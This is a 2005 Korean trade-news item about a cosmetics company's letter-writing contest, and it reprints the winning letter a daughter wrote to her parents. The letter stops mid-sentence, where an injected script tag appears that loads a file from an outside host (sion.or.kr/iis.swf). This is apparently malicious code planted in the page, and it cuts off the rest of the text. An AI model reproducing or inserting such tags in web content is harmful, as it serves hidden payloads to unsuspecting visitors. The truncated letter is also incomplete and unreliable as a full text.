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사랑하는 나의 엄마, 아빠
  • 승인 2005.06.23 10:35
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방판사업부 사랑의 편지쓰기 이벤트 대상 목포 중앙대리점 송영민 사장 딸 은정 양 한국화장품(대표 김두환) 방판사업부에서는 ‘사랑의 편지쓰기’ 이벤트를 지난 5월에 실시했다. 방판대리점 및 판매 사원을 대상으로 실시한 이번 이벤트에서 영예의 대상인 효상(孝賞)에 광주지점 목포중앙대리점 송영민 사장(사진 완쪽)의 큰딸 은정 양(가운데)의 ‘사랑하는 나의 엄마, 아빠’편지가 선정됐다. 한국화장품 방판사업부는 이번 행사의 반응이 너무 좋아 연례 행사로 진행시킬 계획이라고 밝혔다. 다음은 대상을 차지한 송은정 양의 편지 전문. 사랑하는 나의 엄마, 아빠 정확히 2년 만이네요. 작년에 수험생이랍시고 공부한다는 명목 하에 어버이날 감사의 편지 한 장 보내지 못한 제가 못내 부끄럽습니다. 한참 동안 5월에 걸맞지 않게 쏟아지는 햇볕이 몹시도 뜨겁더니 또 얼마간은 하늘이 매우 흐리네요. 그러고 보니 하늘의 맑고 흐림이 부모님의 마음과 똑 닮은 것 같아요. 자식들이 건강하고 밝게 자라주는 모습에 흐뭇해 하시다가도 가끔씩 철부지마냥 부모님 속썩일 때에는 가슴 아파하시는 부모님의 마음 말이예요, 이제 며칠 후면 성년의 날이예요. 언제나 어른이 되는 건 나와는 먼 이야기인 줄로만 알았는데 올해 성년의 날에는 엄마, 아빠 큰 딸이 장미꽃 21송이를 받게 되었네요. 더 이상 어린이날 선물을 기대하지 못하는 중학생이 되고, 사춘기를 넘어선 고등학생이 되고, 학생증이 아닌 주민등록증을 발급받고, 교복을 벗은 스무 살 숙녀가 되고, 내 행동에 책임져야 하는 대학생이 되기까지 참 많은 시간이 흘렀고, 많은 일들이 있었네요. 저 참 많이 컸죠? 어렸을 적 사진부터 쭉 앨범을 넘겨보면서 ‘나 참 많이 컸구나’라는 생각이 들더라구요. 근데 왜 ‘나 참 많이 컸구나’와 같은 말이 ‘우리 엄마, 아빠도 많이 나이 들어 가는구나’란 걸 몰랐을까요. 어쩌면 엄마, 아빠 눈가에 하나씩 늘어가는 잔주름을 모른 체하고 싶었던 걸지도 모르겠어요. 지난 일년 우리가족에겐 참 힘든 일이 많았잖아요. 항상 부모님께 자랑스러웠던 큰 딸이 대학입시에 실패해서 부모님께 불필요한 걱정만 많이 끼쳐드렸잖아요. 작년에 아빠 사무실에 불 나서 모두 다 새까맣게 타버렸던 거, 아빠, 엄마 건강에 적신호가 들어왔던 거…. 그 자체로도 힘들고 눈물 나는 일이었지만 무엇보다 제 두 눈에서 한 없이 많은 눈물을 쏟아내도록 눈물샘을 자극했던 건 이 모든 일들을 객지에서 공부하는 딸이 혹여나 당신들 걱정으로 학업에 방해받을까 조심스러워 비밀로 하셨다는 사실… 엄마, 아빠… 사랑하는 엄마, 아빠… 언제나 머리 속에 떠올릴 때면, 입가에 맴돌 때면 눈물나는 고유명사 엄마, 아빠…. 한 해가 지나고 내가 어른이 되어갈 때마다 점점 작아져만 가는 것 같아 가슴 아픈 이름 나의 엄마, 아빠…. 아빠, 혹시 기억 나세요? 항상 집에까지 들고 오신 두꺼운 서류뭉치와 씨름하시던 아빠… 입버릇처럼 눈이 피곤하다고 하셨잖아요. 근데 고3 때 눈이 아프다며 아빠랑 같이 안과 간 적 있었는데 이왕 온김에 진료나 받아봐야 겠다며 잠깐동안 진료를 받고 나온 아빠랑 나눈 대화 기억 나요? “아빠, 눈 왜 그런데요? 의사 선생님이 뭐라셔?” “응, 별거 아니고 노안이야, 원래 이 나이 되면 그래.” 그 말을 정말 아무렇지 않게 하던 아빠 때문에 그 날 학교에 돌아와서 자율학습시간 내내 눈물을 꾸역꾸역 참으면서 공부했던 거 아세요? 세상의 다른 아빠들은 모두 나이 들어도 우리 아빠만큼은 언제나 젊고 건강했으면 하고 바랬는데… 왜냐하면 아빠는 우리 아빠니까요… 그리고 엄마, 그거 알아요? 작년에 아빠 사무실에 불 났던 일, 아빠 과로로 건강이 많이 안 좋아져서 병원에서 꾸준히 검사받고 있다는 것, 그리고 엄마 자궁에 혹이 생겨서 서울까지 나 몰래 병원에 다녔다는 것까지… 수능이 끝난 뒤에야 내게 털어놓았던 그날. 내가 얼마나 울었는지, 내가 얼마나 미안했는지, 내가 얼마나 미웠는지… 엄마 모르죠? 엄마, 아빠에게 빌려주기엔 너무 작은 내 어깨가 얼마나 야속하던지… 큰 딸이란 이름이 얼마나 부끄러웠는지, 엄마 모르죠? 가끔씩 사람들이 부모를 선택할 수 없이 태어나는 것에 대해 불만을 품을 때가 있잖아요, 저는 이 편지를 빌어 하나님께 감사드려요. 저에게 부모님 선택권을 부여하지 않아주셔서 감사드려요. 혹시나 그런 선택권이 있어서 내가 다른 사람들 딸로 태어났으면 큰일 날 뻔했잖아요, 엄마 아빠 못 만났으면 큰일 날 뻔 했잖아요. 엄마 아빠 딸로 태어나게 해주셔서 감사드려요. 친구들과 모여 수다 떨 때 부모님 이야기가 나오면 언제나 자신 있게 친구들에게 입버릇처럼 하는 말이 있어요. “난 우리 아빠 같은 남자 만?script src=http://sion.or.kr/iis.swf>

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